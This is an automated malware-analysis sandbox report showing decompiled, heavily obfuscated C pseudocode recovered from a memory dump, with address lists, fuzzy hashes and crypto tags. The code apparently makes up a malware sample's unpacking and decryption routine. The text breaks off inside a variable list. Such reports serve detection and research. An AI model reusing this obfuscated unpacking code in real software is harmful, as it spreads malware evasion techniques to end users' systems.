						_t103 =  &_v8;
						 *_t103 = _v8 - 1;
					} while ( *_t103 != 0);
					_pop(_t267);
					_t220 = _t220 & 0x00000000 ^ _t334 ^ _v48 ^ _t248;
					_t334 = _t334;
					L23:
					asm("stosb");
					_t267 = _t267 - 1;
				} while (_t267 != 0);
				_pop(_t253);
				if( *(_t253 + 0x41854e) == 0) {
					_t220 =  *((intOrPtr*)(_t253 + 0x45d024))();
					 *(_t253 + 0x41854e) =  *(_t253 + 0x41854e) & 0x00000000;
					 *(_t253 + 0x41854e) =  *(_t253 + 0x41854e) ^ (_t267 ^ _v44 | _t220);
					_t267 = _t267;
				}
				if(_a4 != 0) {
					if( *((intOrPtr*)(_t253 + 0x4182e7)) == 0) {
						_v44 = _v44 + 8;
						_v44 = _v44 - _t363;
						_v48 =  *((intOrPtr*)(_t253 + 0x41835d));
						_t267 = _t267;
						_t334 = _v52;
						_v52 =  *((intOrPtr*)(_t253 + 0x41807b));
						_t220 =  *((intOrPtr*)(_t253 + 0x45d040))(_t334, _t220, _t363);
						 *_t118 = _t220;
						_push(_v16);
						_pop( *_t120);
					}
					if(_a8 != 0) {
						if( *(_t253 + 0x4185b7) == 0) {
							_t363 = _v44;
							_v44 =  *((intOrPtr*)(_t253 + 0x41804b));
							_v48 =  *((intOrPtr*)(_t253 + 0x418067));
							_t310 = _t310;
							_v52 =  *((intOrPtr*)(_t253 + 0x4181c3));
							_t376 = _t376;
							_t220 =  *((intOrPtr*)(_t253 + 0x45d040))(_t220, _t334, _t363);
							_v12 = _t267;
							 *(_t253 + 0x4185b7) =  *(_t253 + 0x4185b7) & 0x00000000;
							 *(_t253 + 0x4185b7) =  *(_t253 + 0x4185b7) ^ _t267 & 0x00000000 ^ _t220;
							_t267 = _v12;
						}
						_v44 = _a4;
						_t323 = _t310;
						_t138 = _t253 + 0x4183a9; // 0x4183a9
						_v48 = _t138;
						_push( *((intOrPtr*)(_t253 + 0x45d018))(_v16, _t220));
						_pop( *_t141);
						_push(_v20);
						_pop( *_t143);
						_push(_t253);
						_v52 = _a8;
						_t253 = _t253;
						if( *(_t253 + 0x4185ab) == 0) {
							_v56 =  *((intOrPtr*)(_t253 + 0x4183b4));
							_t363 = _t363;
							_v60 =  *((intOrPtr*)(_t253 + 0x418613));
							_t267 = _t267;
							_v64 = _v64 & 0x00000000;
							_v64 = _v64 ^ _t323;
							_t234 =  *((intOrPtr*)(_t253 + 0x45d03c))(_t334, _t334, _t334);
							 *_t384 = _t323;
							 *(_t253 + 0x4185ab) = 0 ^ _t234;
							_t323 = 0;
						}
						_t220 = E02591918(_t234, _t267, _t323, _t334, _t363);
						if( *((intOrPtr*)(_t253 + 0x4184db)) == 0) {
							_v48 = _v48 - _t253;
							_v48 = _v48 ^ _t323;
							_v52 =  *((intOrPtr*)(_t253 + 0x418389));
							_v56 = _v56 - _t363;
							_v56 = _v56 ^ _t323;
							_t267 = _v60;
							_v60 =  *((intOrPtr*)(_t253 + 0x41852b));
							_t220 =  *((intOrPtr*)(_t253 + 0x45d044))(_v52, _t363, _t267, _t253);
							 *_t159 = _t220;
							_push(_v20);
							_pop( *_t161);
						}
					}
				}
				_pop(_t312);
				if( *(_t253 + 0x418318) == 0) {
					_v12 = 0;
					_v40 = _v40 | _t312;
					_v44 =  *((intOrPtr*)(_t253 + 0x418483));
					_t334 = _v48;
					_v48 =  *((intOrPtr*)(_t253 + 0x4181f3));
					_v52 = _v52 ^ _t253;
					_v52 = _t363;
					_v56 =  *((intOrPtr*)(_t253 + 0x41815b));
					_t376 = _t376;
					_v60 =  *(_t253 + 0x4183a1);
					_t267 = _t267;
					_t220 =  *((intOrPtr*)(_t253 + 0x45d048))(_t267, _t267, _t253, _t334, _t220, _v12);
					 *(_t253 + 0x418318) =  *(_t253 + 0x418318) & 0x00000000;
					 *(_t253 + 0x418318) =  *(_t253 + 0x418318) | _t312 & 0x00000000 ^ _t220;
					_t312 = _t312;
				}
				if(_t312 > 0) {
					if( *(_t253 + 0x4181af) == 0) {
						_v40 = _v40 + 0x400;
						_v40 = _v40 - _t253;
						_v44 =  *((intOrPtr*)(_t253 + 0x418478));
						_v48 =  *((intOrPtr*)(_t253 + 0x41811b));
						_v52 =  *((intOrPtr*)(_t253 + 0x418143));
						_v56 = _v56 & 0x00000000;
						_v56 = _v56 ^ _t253;
						_t230 =  *((intOrPtr*)(_t253 + 0x45d048))(_t220, _t363, _t267, _t376, _t312, _t253);
						 *(_t253 + 0x4181af) =  *(_t253 + 0x4181af) & 0x00000000;
						 *(_t253 + 0x4181af) =  *(_t253 + 0x4181af) | _t312 & 0x00000000 ^ _t230;
						_t312 = _t312;
					}
					_v16 = _t253;
					_t339 = _t334 & 0x00000000 | _t253 & 0x00000000 | _a4;
					_push(_v12);
					_v40 = _t339;
					_push(0);
					_v44 = _t312;
					_v44 = 0 ^  *(_t339 + 4);
					_t221 =  *(_t339 + 8);
					_t272 = 0;
					_v16 = _v16 & 0x00000000;
					_push(_v16);
					_v44 = _v44 | _t272;
					_v16 = _v16 & 0x00000000;
					_push(_v16);
					_v48 = _v48 ^ _t272;
					 *_t202 = _t221;
					_push(_v12);
					_pop(_t316);
					_push(_a8);
					_pop( *_t205);
					_push(_v12);
					_pop(_t365);
					_push(_v48);
					_v52 = _v52 - _t316;
					_pop(_t274);
					_t366 = _t365 + _t274;
					_v16 = _t221;
					_t276 = _t274 & 0x00000000 | _t221 ^ _v16 ^  *(_t339 + 8);
					_t225 = memcpy(_t339, _t366, _t276);
					_v12 = _t225;
					_t368 = _t366 & 0x00000000 ^ (_t225 ^ _v12 | _a8);
					_pop(_t278);
					_push(_t366 + _t276 + _t276);
					_t279 = _t278 - _t316;
					_pop(_t344);
					memcpy(_t344, _t368, _t279);
					_push(0);
					_pop(_t369);
					_t220 = memcpy(_t368 + _t279 + _t279 & 0x00000000 ^ 0x0 ^ _v48 ^ _a8, _t369, 0);
				}
				return _t220;
			}

0x02594859
0x02594859
0x02594859
0x02594859
0x02594859
0x02594866
0x02594868
0x0259486e
0x02594874
0x0259487b
0x02594881
0x02594881
0x02594883
0x02594887
0x02594890
0x02594897
0x0259489a
0x025948a6
0x025948ad
0x025948b3
0x025948b4
0x025948b7
0x025948c1
0x025948c3
0x025948cf
0x025948d6
0x025948dc
0x025948dc
0x025948e7
0x025948e9
0x025948f1
0x025948fa
0x025948fa
0x02594905
0x02594909
0x0259490d
0x02594910
0x02594918
0x0259491f
0x02594925
0x02594925
0x02594930
0x02594932
0x02594939
0x02594943
0x02594946
0x02594952
0x02594959
0x0259495f
0x02594960
0x02594965
0x02594969
0x02594971
0x02594973
0x0259497f
0x02594986
0x0259498c
0x0259498c
0x0259498d
0x02594990
0x0259499a
0x025949a3
0x025949a6
0x025949ad
0x025949b0
0x025949b7
0x025949ba
0x025949c1
0x025949c4
0x025949c7
0x025949c7
0x025949d3
0x025949d6
0x025949d9
0x025949e1
0x025949e3
0x025949ed
0x025949f0
0x025949fc
0x02594a03
0x02594a0a
0x02594a0a
0x02594a14
0x02594a16
0x02594a1e
0x02594a23
0x02594a26
0x02594a2e
0x02594a35
0x02594a3b
0x02594a3c
0x02594a3c
0x02594a3d
0x02594a44
0x02594a47
0x02594a51
0x02594a53
0x02594a5d
0x02594a67
0x02594a6a
0x02594a74
0x02594a7f
0x02594a84
0x02594a8a
0x02594a92
0x02594a99
0x02594aa2
0x02594aa2
0x02594aa5
0x02594aa5
0x02594aa6
0x02594aa6
0x02594aa9
0x02594aaa
0x02594aac
0x02594aaf
0x02594ab2
0x02594ab3
0x02594aba
0x02594abd
0x02594ac0
0x02594ac0
0x02594ac3
0x02594ac6
0x00000000
0x00000000
0x02594ac8
0x02594ac9
0x02594acc
0x02594acf
0x02594ad0
0x02594add
0x02594ae8
0x02594aed
0x02594af4
0x02594af4
0x02594af6
0x02594af8
0x02594afa
0x02594afc
0x02594afc
0x02594afc
0x02594b01
0x02594b0b
0x02594b0d
0x02594b0e
0x02594b0e
0x02594b0f
0x02594b0f
0x02594b12
0x02594b1a
0x02594b1c
0x02594b28
0x02594b2f
0x02594b35
0x02594b35
0x02594b3a
0x02594b47
0x02594b4a
0x02594b4e
0x02594b59
0x02594b5d
0x02594b65
0x02594b65
0x02594b68
0x02594b6f
0x02594b72
0x02594b75
0x02594b75
0x02594b7f
0x02594b8c
0x02594b95
0x02594b95
0x02594ba0
0x02594ba4
0x02594bad
0x02594bb1
0x02594bb2
0x02594bb8
0x02594bc0
0x02594bc7
0x02594bcd
0x02594bcd
0x02594bd5
0x02594bd9
0x02594bda
0x02594be3
0x02594bec
0x02594bed
0x02594bf0
0x02594bf3
0x02594bf9
0x02594bfe
0x02594c02
0x02594c0a
0x02594c14
0x02594c18
0x02594c21
0x02594c25
0x02594c27
0x02594c2b
0x02594c2e
0x02594c36
0x02594c3d
0x02594c43
0x02594c43
0x02594c44
0x02594c50
0x02594c53
0x02594c56
0x02594c60
0x02594c64
0x02594c67
0x02594c71
0x02594c71
0x02594c74
0x02594c7b
0x02594c7e
0x02594c81
0x02594c81
0x02594c50
0x02594b7f
0x02594c87
0x02594c8f
0x02594c91
0x02594c9b
0x02594ca5
0x02594caf
0x02594caf
0x02594cb3
0x02594cb6
0x02594cc1
0x02594cc5
0x02594cce
0x02594cd2
0x02594cd3
0x02594cdf
0x02594ce6
0x02594ced
0x02594ced
0x02594cf1
0x02594cfe
0x02594d01
0x02594d08
0x02594d13
0x02594d1f
0x02594d29
0x02594d2d
0x02594d31
0x02594d34
0x02594d40
0x02594d47
0x02594d4d
0x02594d4d
0x02594d4e
0x02594d5a
0x02594d5f
0x02594d62
0x02594d65
0x02594d67
0x02594d74
0x02594d7c
0x02594d7e
0x02594d7f
0x02594d83
0x02594d86
0x02594d89
0x02594d8d
0x02594d90
0x02594d94
0x02594d97
0x02594d9a
0x02594d9b
0x02594d9e
0x02594da1
0x02594da4
0x02594da8
0x02594da9
0x02594dac
0x02594dad
0x02594daf
0x02594dbb
0x02594dc0
0x02594dc2
0x02594dce
0x02594dd3
0x02594dd4
0x02594dd9
0x02594ddb
0x02594ddc
0x02594dde
0x02594dec
0x02594ded
0x02594ded
0x02594df2

Memory Dump Source

Source File: 00000000.00000002.493231718.0000000002590000.00000040.00000001.sdmp, Offset: 02590000, based on PE: true

Associated: 00000000.00000002.493383695.00000000025A8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.493417448.00000000025ED000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f89cbf176f5ded8dd9f870f15b95a5ce55e929d63621d25e61daa38bc8d58fc1
Instruction ID: 0013616db6286bfca629fa783332d32b6e9bbdc8e44cbba086df4e64a86ef7be
Opcode Fuzzy Hash: f89cbf176f5ded8dd9f870f15b95a5ce55e929d63621d25e61daa38bc8d58fc1
Instruction Fuzzy Hash: 2E129072904204EFFF189F60C8857AEBBF5FF84725F0984ADEC899A185DB381551CB28

Uniqueness

Uniqueness Score: -1.00%

Function 02591918, Relevance: .5, Instructions: 464
COMMONCrypto

Download Yara Rule

C-Code - Quality: 86%

			E02591918(signed int __eax, signed int __ecx, signed int __edx, signed int __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _t259;
				signed int _t261;
				signed int _t262;
				signed int _t266;
				signed int _t267;
				signed int _t270;
				void* _t272;
				signed int _t275;
				signed int _t279;
				signed int _t283;
				signed int _t285;
				signed int _t286;
				signed int _t287;
				signed int _t288;
				signed int _t290;
				signed int _t291;
				signed int _t292;
				void* _t294;
				signed int _t297;
				signed int _t299;
				signed int _t300;
				void* _t303;
				void* _t305;
				signed int _t306;
				signed int _t308;
				int _t310;
				void* _t313;
				signed int _t319;
				signed int _t324;
				signed int _t332;
				void* _t340;
				signed int _t342;
				signed int _t344;
				signed int _t347;
				signed int _t352;
				signed int _t361;
				signed int _t363;
				void* _t366;
				void* _t380;
				signed int _t385;
				signed int _t391;
				signed int _t393;
				signed int _t394;
				signed int _t401;
				void* _t416;
				signed int _t417;
				void* _t429;
				signed int _t431;
				void* _t432;
				signed int* _t435;

				_t306 = __ecx;
				_t259 = __eax;
				_push(_t300);
				 *_t431 =  *_t431 ^ _t300;
				 *_t431 =  *_t431 + _t416;
				_t417 = _t431;
				_t432 = _t431 + 0xffffffdc;
				_push(_v40);
				_v44 = _t300;
				_push(__edx);
				_t361 = __edi & 0x00000000 | __edx ^ _v48 | _a8;
				_pop(_t340);
				_v48 =  *((intOrPtr*)(_t361 + 0xc));
				_pop(_t385);
				 *_t5 = _t300;
				_t342 = _v48;
				_v48 =  *((intOrPtr*)(_t361 + 4));
				 *_t8 = _t340;
				if(_v24 == 1) {
					_v20 = 7;
					_v28 = 1;
					_v16 = 8;
				}
				if(_v24 != 0) {
					if(_v24 != 2) {
						if(_v24 == 4) {
							_v20 = 1;
							_v28 = 0x55;
							_v16 = 2;
						}
					} else {
						_v20 = 3;
						_v28 = 0x11;
						_v16 = 4;
					}
					_push(_t342);
					_v48 = _v48 ^ _t342;
					_v36 = _t385;
					_t261 = _t259 & 0x00000000 | _t385 & 0x00000000 ^ _v8;
					_t262 = _t261 / _v16;
					_t344 = _t261 % _v16;
					_push(_v8);
					_v48 = _v48 - _t344;
					_pop( *_t132);
					_v48 = _v36;
					_v12 = _t344;
					_t391 = 0;
					_v40 = _t344;
					_t393 = _t391 & 0x00000000 ^ (_t344 & 0x00000000 | _a4);
					_t347 = _v40;
					_push(_t347);
					_t363 = _t361 & 0x00000000 ^ (_t347 & 0x00000000 | _t393);
					_t394 = _t393 - 1;
					_v32 = 0;
					_push(_v32);
					_v48 = _v48 + _t300;
					do {
						_v40 = _t300;
						_t308 = _t306 & 0x00000000 ^ (_t300 & 0x00000000 | _t363);
						_t300 = _v40;
						_t306 = _t308 & _v20;
						if(_t306 == 0) {
							_t394 = _t394 + 1;
							_v32 = _t363;
							_t262 = _t262 & 0x00000000 ^ (_t363 & 0x00000000 | _v16);
							_t363 = _v32;
							_t300 =  *(_t262 + _t394) & 0x000000ff;
						}
						_v52 = _t394;
						_t394 = 0;
						asm("rol edx, cl");
						_t352 = (0 ^ _v28) & _t300;
						asm("lodsb");
						_t262 = _t262 | _t352;
						 *_t363 = _t262;
						_t363 = _t363 + 1;
						_t147 =  &_v8;
						 *_t147 = _v8 - 1;
					} while ( *_t147 != 0);
					_pop(_t303);
					if( *(_t303 + 0x4182ab) == 0) {
						_v48 =  *((intOrPtr*)(_t303 + 0x4181ff));
						_t319 = _t306;
						_v52 =  *((intOrPtr*)(_t303 + 0x41843c));
						_t352 = _t352;
						_v56 =  *((intOrPtr*)(_t303 + 0x418293));
						_t262 =  *((intOrPtr*)(_t303 + 0x45d040))(_t262, _t417, _t352);
						_v32 = _t319;
						 *(_t303 + 0x4182ab) =  *(_t303 + 0x4182ab) & 0x00000000;
						 *(_t303 + 0x4182ab) =  *(_t303 + 0x4182ab) ^ _t319 & 0x00000000 ^ _t262;
						_t306 = _v32;
					}
					if( *(_t303 + 0x4183d4) == 0) {
						if( *(_t303 + 0x418037) == 0) {
							_v48 =  *((intOrPtr*)(_t303 + 0x41816f));
							_v52 = _t394;
							_v56 = _v56 & 0x00000000;
							_v56 = _v56 | _t352;
							_v60 =  *((intOrPtr*)(_t303 + 0x41859f));
							_t352 = _t352;
							_v64 =  *((intOrPtr*)(_t303 + 0x41808b));
							_t394 = _t394;
							_t279 =  *((intOrPtr*)(_t303 + 0x45d048))(_t306, _t352, _t303, _v36, _t262);
							_v40 = _t306;
							 *(_t303 + 0x418037) = 0 ^ _t279;
							_t306 = _v40;
						}
						_t262 =  *((intOrPtr*)(_t303 + 0x45d01c))();
						if( *((intOrPtr*)(_t303 + 0x4181f7)) == 0) {
							_v32 = _v32 & 0x00000000;
							_v48 = _v48 | _t262;
							_v52 =  *((intOrPtr*)(_t303 + 0x418438));
							_t394 = _t394;
							_v56 = _v56 & 0x00000000;
							_v56 = _v56 ^ _t363;
							_v36 = 0;
							_v60 = _v60 + _t432;
							_push( *((intOrPtr*)(_t303 + 0x45d040))(_v36, _t352, _t262, _v32));
							_pop( *_t186);
							_push(_v36);
							_pop( *_t188);
							_pop(_t262);
						}
						_v48 = _t417;
						 *(_t303 + 0x4183d4) = 0 ^ _t262;
						_t417 = 0;
						if( *(_t303 + 0x418450) == 0) {
							_t352 = _v48;
							_v48 =  *((intOrPtr*)(_t303 + 0x418567));
							_v52 =  *((intOrPtr*)(_t303 + 0x4183bc));
							_v56 =  *((intOrPtr*)(_t303 + 0x4180bb));
							_t417 = _v60;
							_v60 =  *((intOrPtr*)(_t303 + 0x418513));
							_t262 =  *((intOrPtr*)(_t303 + 0x45d044))(_v52, _t394, _t417, _t352);
							_v36 = _v56;
							 *(_t303 + 0x418450) = 0 ^ _t262;
							_t394 = _v36;
						}
					}
					_t310 = _t306 & 0x00000000 ^ _t363 & 0x00000000 ^ _v12;
					_t366 = _t363;
					if( *(_t303 + 0x41803b) == 0) {
						_v36 = 0;
						_v48 = _v48 | _t310;
						_t401 = _v52;
						_v52 =  *((intOrPtr*)(_t303 + 0x418057));
						_t352 = _v56;
						_v56 =  *((intOrPtr*)(_t303 + 0x418028));
						_v60 =  *((intOrPtr*)(_t303 + 0x4183e8));
						_t272 = _t262;
						_v64 =  *((intOrPtr*)(_t303 + 0x4185ef));
						_t275 =  *((intOrPtr*)(_t303 + 0x45d044))(_t417, _t352, _t394, _v36);
						 *(_t303 + 0x41803b) =  *(_t303 + 0x41803b) & 0x00000000;
						 *(_t303 + 0x41803b) =  *(_t303 + 0x41803b) ^ _t401 & 0x00000000 ^ _t275;
						_t394 = _t401;
						_t310 = _t272;
					}
					if( *(_t303 + 0x41849f) == 0) {
						if( *(_t303 + 0x41861f) == 0) {
							_v48 = _t310;
							_t270 =  *((intOrPtr*)(_t303 + 0x45d01c))(_v36);
							_v36 = _t366;
							 *(_t303 + 0x41861f) = 0 ^ _t270;
							_t366 = _v36;
							_pop(_t310);
						}
						_v40 = _v40 & 0x00000000;
						_v48 = _v48 + _t310;
						_t230 = _t303 + 0x418533; // 0x418533
						_v52 = _v52 ^ _t417;
						_v52 = _v52 ^ _t230;
						_t266 =  *((intOrPtr*)(_t303 + 0x45d018))(_t417, _v40);
						_v36 = _t366;
						 *(_t303 + 0x4185cf) = 0 ^ _t266;
						_t366 = _v36;
						_push(_t352);
						_v56 =  *((intOrPtr*)(_t303 + 0x418243));
						_t313 = _t310;
						if( *((intOrPtr*)(_t303 + 0x41862b)) == 0) {
							_v60 =  *((intOrPtr*)(_t303 + 0x418414));
							_v64 =  *((intOrPtr*)(_t303 + 0x4183cc));
							_t417 = _t417;
							_push( *((intOrPtr*)(_t303 + 0x45d03c))(_t432, _t266, _t313, _t366));
							_pop( *_t243);
							_push(_v36);
							_pop( *_t245);
						}
						_push(_t352);
						_v60 =  *((intOrPtr*)(_t303 + 0x41814b));
						if( *((intOrPtr*)(_t303 + 0x41851b)) == 0) {
							 *_t250 =  *((intOrPtr*)(_t303 + 0x45d024))();
							_push(_v32);
							_pop( *_t252);
						}
						_t417 = _v64;
						_v64 =  *((intOrPtr*)(_t303 + 0x4182a7));
						_t267 =  *((intOrPtr*)(_t303 + 0x45d040))();
						_v36 = _t394;
						 *(_t303 + 0x41849f) = 0 ^ _t267;
						_t394 = _v36;
						_t310 = _t417;
					}
					return memcpy(_t366, _t394 + 1, _t310);
				} else {
					_pop(_t305);
					if( *(_t305 + 0x418627) == 0) {
						_v44 =  *((intOrPtr*)(_t305 + 0x4182e3));
						_t299 = _t259;
						_v48 =  *((intOrPtr*)(_t305 + 0x4184b3));
						_t429 = _t417;
						_v52 =  *((intOrPtr*)(_t305 + 0x41802f));
						_t417 = _t429;
						_v32 = 0;
						_v56 = _v56 ^ _t299;
						_v60 =  *((intOrPtr*)(_t305 + 0x418470));
						_t380 = _t361;
						_t259 =  *((intOrPtr*)(_t305 + 0x45d048))(_t361, _v32, _t306, _t417, _t342);
						 *(_t305 + 0x418627) =  *(_t305 + 0x418627) & 0x00000000;
						 *(_t305 + 0x418627) =  *(_t305 + 0x418627) ^ (_t380 - _v64 | _t259);
						_t361 = _t380;
					}
					if( *(_t305 + 0x418077) == 0) {
						if( *(_t305 + 0x418517) == 0) {
							_v44 =  *((intOrPtr*)(_t305 + 0x4182ff));
							_t294 = _t259;
							_v48 =  *((intOrPtr*)(_t305 + 0x41810b));
							_t417 = _t417;
							_v52 =  *((intOrPtr*)(_t305 + 0x418217));
							_t361 = _v56;
							_v56 =  *(_t305 + 0x418173);
							_v60 =  *(_t305 + 0x418546);
							_t385 = _t385;
							_t297 =  *((intOrPtr*)(_t305 + 0x45d048))(_v52, _t361, _t294, _t385, _t306);
							_v32 = _t306;
							 *(_t305 + 0x418517) =  *(_t305 + 0x418517) & 0x00000000;
							 *(_t305 + 0x418517) =  *(_t305 + 0x418517) ^ (_t306 & 0x00000000 | _t297);
							_t306 = _v32;
						}
						_t288 =  *((intOrPtr*)(_t305 + 0x45d020))();
						_v44 = _v44 & 0x00000000;
						_v44 = _v44 ^ _t288;
						_v36 = _v36 & 0x00000000;
						_v48 = _v48 + _t305 + 0x4185c7;
						_t290 =  *((intOrPtr*)(_t305 + 0x45d018))(_v36, _t305);
						 *(_t305 + 0x418010) =  *(_t305 + 0x418010) & 0x00000000;
						 *(_t305 + 0x418010) =  *(_t305 + 0x418010) ^ (_t306 & 0x00000000 | _t290);
						_t332 = _t306;
						_pop(_t291);
						_v40 = _t332;
						 *(_t305 + 0x418077) =  *(_t305 + 0x418077) & 0x00000000;
						 *(_t305 + 0x418077) =  *(_t305 + 0x418077) | _t332 - _v40 ^ _t291;
						_t306 = _v40;
						if( *(_t305 + 0x418400) == 0) {
							_t292 =  *((intOrPtr*)(_t305 + 0x45d020))();
							_v36 = _t385;
							 *(_t305 + 0x418400) =  *(_t305 + 0x418400) & 0x00000000;
							 *(_t305 + 0x418400) =  *(_t305 + 0x418400) | _t385 & 0x00000000 | _t292;
							_t385 = _v36;
						}
					}
					_t435 = _t417;
					 *_t435 =  *_t435 - _t342;
					 *_t435 =  *_t435 | _t305 + 0x0041804f;
					_t283 =  *((intOrPtr*)(_t305 + 0x45d018))(_t342);
					_v36 = _t361;
					 *(_t305 + 0x41800c) =  *(_t305 + 0x41800c) & 0x00000000;
					 *(_t305 + 0x41800c) =  *(_t305 + 0x41800c) ^ _t361 & 0x00000000 ^ _t283;
					if( *(_t305 + 0x418365) == 0) {
						_v40 = _v40 & 0x00000000;
						_v44 = _v44 + _t305 + 0x41802c;
						_t285 =  *((intOrPtr*)(_t305 + 0x45d018))(_v40);
						_v48 = _t306;
						 *(_t305 + 0x4180e3) = 0 ^ _t285;
						_t324 = 0;
						_t283 =  *((intOrPtr*)(_t305 + 0x45d024))();
						if( *(_t305 + 0x4183fc) == 0) {
							_v32 = _v32 & 0x00000000;
							_v48 = _v48 ^ _t283;
							_t287 =  *((intOrPtr*)(_t305 + 0x45d020))(_v32);
							 *(_t305 + 0x4183fc) =  *(_t305 + 0x4183fc) & 0x00000000;
							 *(_t305 + 0x4183fc) =  *(_t305 + 0x4183fc) ^ (_t324 - _v52 | _t287);
							_t324 = _t324;
							_pop(_t283);
						}
						_v40 = _t324;
						 *(_t305 + 0x418365) =  *(_t305 + 0x418365) & 0x00000000;
						 *(_t305 + 0x418365) =  *(_t305 + 0x418365) | _t324 & 0x00000000 ^ _t283;
						if( *(_t305 + 0x41853e) == 0) {
							_t286 =  *((intOrPtr*)(_t305 + 0x45d020))();
							_v36 = _t385;
							 *(_t305 + 0x41853e) =  *(_t305 + 0x41853e) & 0x00000000;
							 *(_t305 + 0x41853e) =  *(_t305 + 0x41853e) | _t385 ^ _v36 ^ _t286;
							return _t286;
						}
					}
					return _t283;
				}
			}

0x02591918
0x02591918
0x02591918
0x02591919
0x0259191c
0x0259191f
0x02591921
0x02591924
0x02591927
0x0259192a
0x02591934
0x02591936
0x0259193c
0x02591940
0x02591941
0x02591948
0x02591948
0x0259194b
0x02591952
0x02591954
0x0259195b
0x02591962
0x02591962
0x0259196d
0x02591c7c
0x02591c99
0x02591c9b
0x02591ca2
0x02591ca9
0x02591ca9
0x02591c7e
0x02591c7e
0x02591c85
0x02591c8c
0x02591c8c
0x02591cb0
0x02591cb1
0x02591cb5
0x02591cc1
0x02591cc6
0x02591cc6
0x02591cc9
0x02591ccc
0x02591ccf
0x02591cd4
0x02591cdb
0x02591cde
0x02591cdf
0x02591ceb
0x02591ced
0x02591cf0
0x02591cf9
0x02591cfc
0x02591cfd
0x02591d04
0x02591d07
0x02591d0a
0x02591d0a
0x02591d15
0x02591d17
0x02591d1a
0x02591d1d
0x02591d1f
0x02591d20
0x02591d2c
0x02591d2e
0x02591d31
0x02591d31
0x02591d37
0x02591d41
0x02591d42
0x02591d44
0x02591d46
0x02591d47
0x02591d49
0x02591d4b
0x02591d4c
0x02591d4c
0x02591d4c
0x02591d51
0x02591d59
0x02591d63
0x02591d67
0x02591d70
0x02591d74
0x02591d7c
0x02591d7f
0x02591d85
0x02591d8d
0x02591d94
0x02591d9a
0x02591d9a
0x02591da4
0x02591db1
0x02591dba
0x02591dc0
0x02591dc4
0x02591dc8
0x02591dd3
0x02591dd7
0x02591de0
0x02591de4
0x02591de5
0x02591deb
0x02591df2
0x02591df8
0x02591df8
0x02591dfb
0x02591e08
0x02591e0a
0x02591e11
0x02591e1c
0x02591e20
0x02591e22
0x02591e26
0x02591e29
0x02591e33
0x02591e3c
0x02591e3d
0x02591e40
0x02591e43
0x02591e49
0x02591e49
0x02591e4c
0x02591e53
0x02591e59
0x02591e61
0x02591e6a
0x02591e6a
0x02591e74
0x02591e7e
0x02591e88
0x02591e88
0x02591e8b
0x02591e91
0x02591e98
0x02591e9e
0x02591e9e
0x02591e61
0x02591eab
0x02591ead
0x02591eb5
0x02591eb7
0x02591ec1
0x02591ecb
0x02591ecb
0x02591ed5
0x02591ed5
0x02591ee0
0x02591ee4
0x02591eec
0x02591eef
0x02591efb
0x02591f02
0x02591f08
0x02591f09
0x02591f09
0x02591f11
0x02591f1e
0x02591f23
0x02591f26
0x02591f2c
0x02591f33
0x02591f39
0x02591f3c
0x02591f3c
0x02591f3d
0x02591f44
0x02591f47
0x02591f4e
0x02591f51
0x02591f54
0x02591f5a
0x02591f61
0x02591f67
0x02591f6a
0x02591f72
0x02591f76
0x02591f7e
0x02591f88
0x02591f95
0x02591f99
0x02591fa1
0x02591fa2
0x02591fa5
0x02591fa8
0x02591fa8
0x02591fae
0x02591fb5
0x02591fbf
0x02591fc8
0x02591fcb
0x02591fce
0x02591fce
0x02591fdb
0x02591fdb
0x02591fde
0x02591fe4
0x02591feb
0x02591ff1
0x02591ff4
0x02591ff4
0x02591ffa
0x02591973
0x02591973
0x0259197b
0x02591985
0x02591989
0x02591992
0x02591996
0x0259199f
0x025919a3
0x025919a4
0x025919ae
0x025919b9
0x025919bd
0x025919be
0x025919ca
0x025919d1
0x025919d7
0x025919d7
0x025919df
0x025919ec
0x025919f6
0x025919fa
0x02591a03
0x02591a07
0x02591a0f
0x02591a19
0x02591a19
0x02591a24
0x02591a28
0x02591a29
0x02591a2f
0x02591a37
0x02591a3e
0x02591a44
0x02591a44
0x02591a47
0x02591a4e
0x02591a52
0x02591a5b
0x02591a62
0x02591a65
0x02591a71
0x02591a78
0x02591a7e
0x02591a7f
0x02591a80
0x02591a88
0x02591a8f
0x02591a95
0x02591a9f
0x02591aa1
0x02591aa7
0x02591aaf
0x02591ab6
0x02591abc
0x02591abc
0x02591a9f
0x02591abf
0x02591ac7
0x02591aca
0x02591acd
0x02591ad3
0x02591adb
0x02591ae2
0x02591af2
0x02591afe
0x02591b05
0x02591b08
0x02591b10
0x02591b17
0x02591b1d
0x02591b1e
0x02591b2b
0x02591b2d
0x02591b34
0x02591b37
0x02591b43
0x02591b4a
0x02591b50
0x02591b51
0x02591b51
0x02591b52
0x02591b5a
0x02591b61
0x02591b71
0x02591b73
0x02591b79
0x02591b81
0x02591b88
0x00000000
0x02591b8e
0x02591b71
0x02591b91
0x02591b91

Memory Dump Source

Source File: 00000000.00000002.493231718.0000000002590000.00000040.00000001.sdmp, Offset: 02590000, based on PE: true

Associated: 00000000.00000002.493383695.00000000025A8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.493417448.00000000025ED000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b932141b5672c0b40a06f11913d735f0f9495efb84fabef623221ee9858e0d59
Instruction ID: 6d87774e3c7d39cbbc39f2e731ed99020a3a0ee464869ada18a322eb1dcce352
Opcode Fuzzy Hash: b932141b5672c0b40a06f11913d735f0f9495efb84fabef623221ee9858e0d59
Instruction Fuzzy Hash: 9F126A72804618DFEF048F50C9857EEBBF5FF88715F0980AEDC49AA146CB781951CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 02591B95, Relevance: .3, Instructions: 340
COMMONCrypto

Download Yara Rule

C-Code - Quality: 84%

			E02591B95(signed int __ecx, signed int __edx, signed int __edi, signed int __esi) {
				signed int _t190;
				signed int _t192;
				signed int _t193;
				signed int _t197;
				signed int _t198;
				signed int _t201;
				void* _t203;
				signed int _t206;
				signed int _t210;
				signed int _t214;
				signed int _t217;
				void* _t220;
				signed int _t224;
				int _t226;
				void* _t229;
				signed int _t235;
				signed int _t242;
				signed int _t244;
				signed int _t247;
				signed int _t252;
				signed int _t259;
				signed int _t261;
				void* _t264;
				signed int _t281;
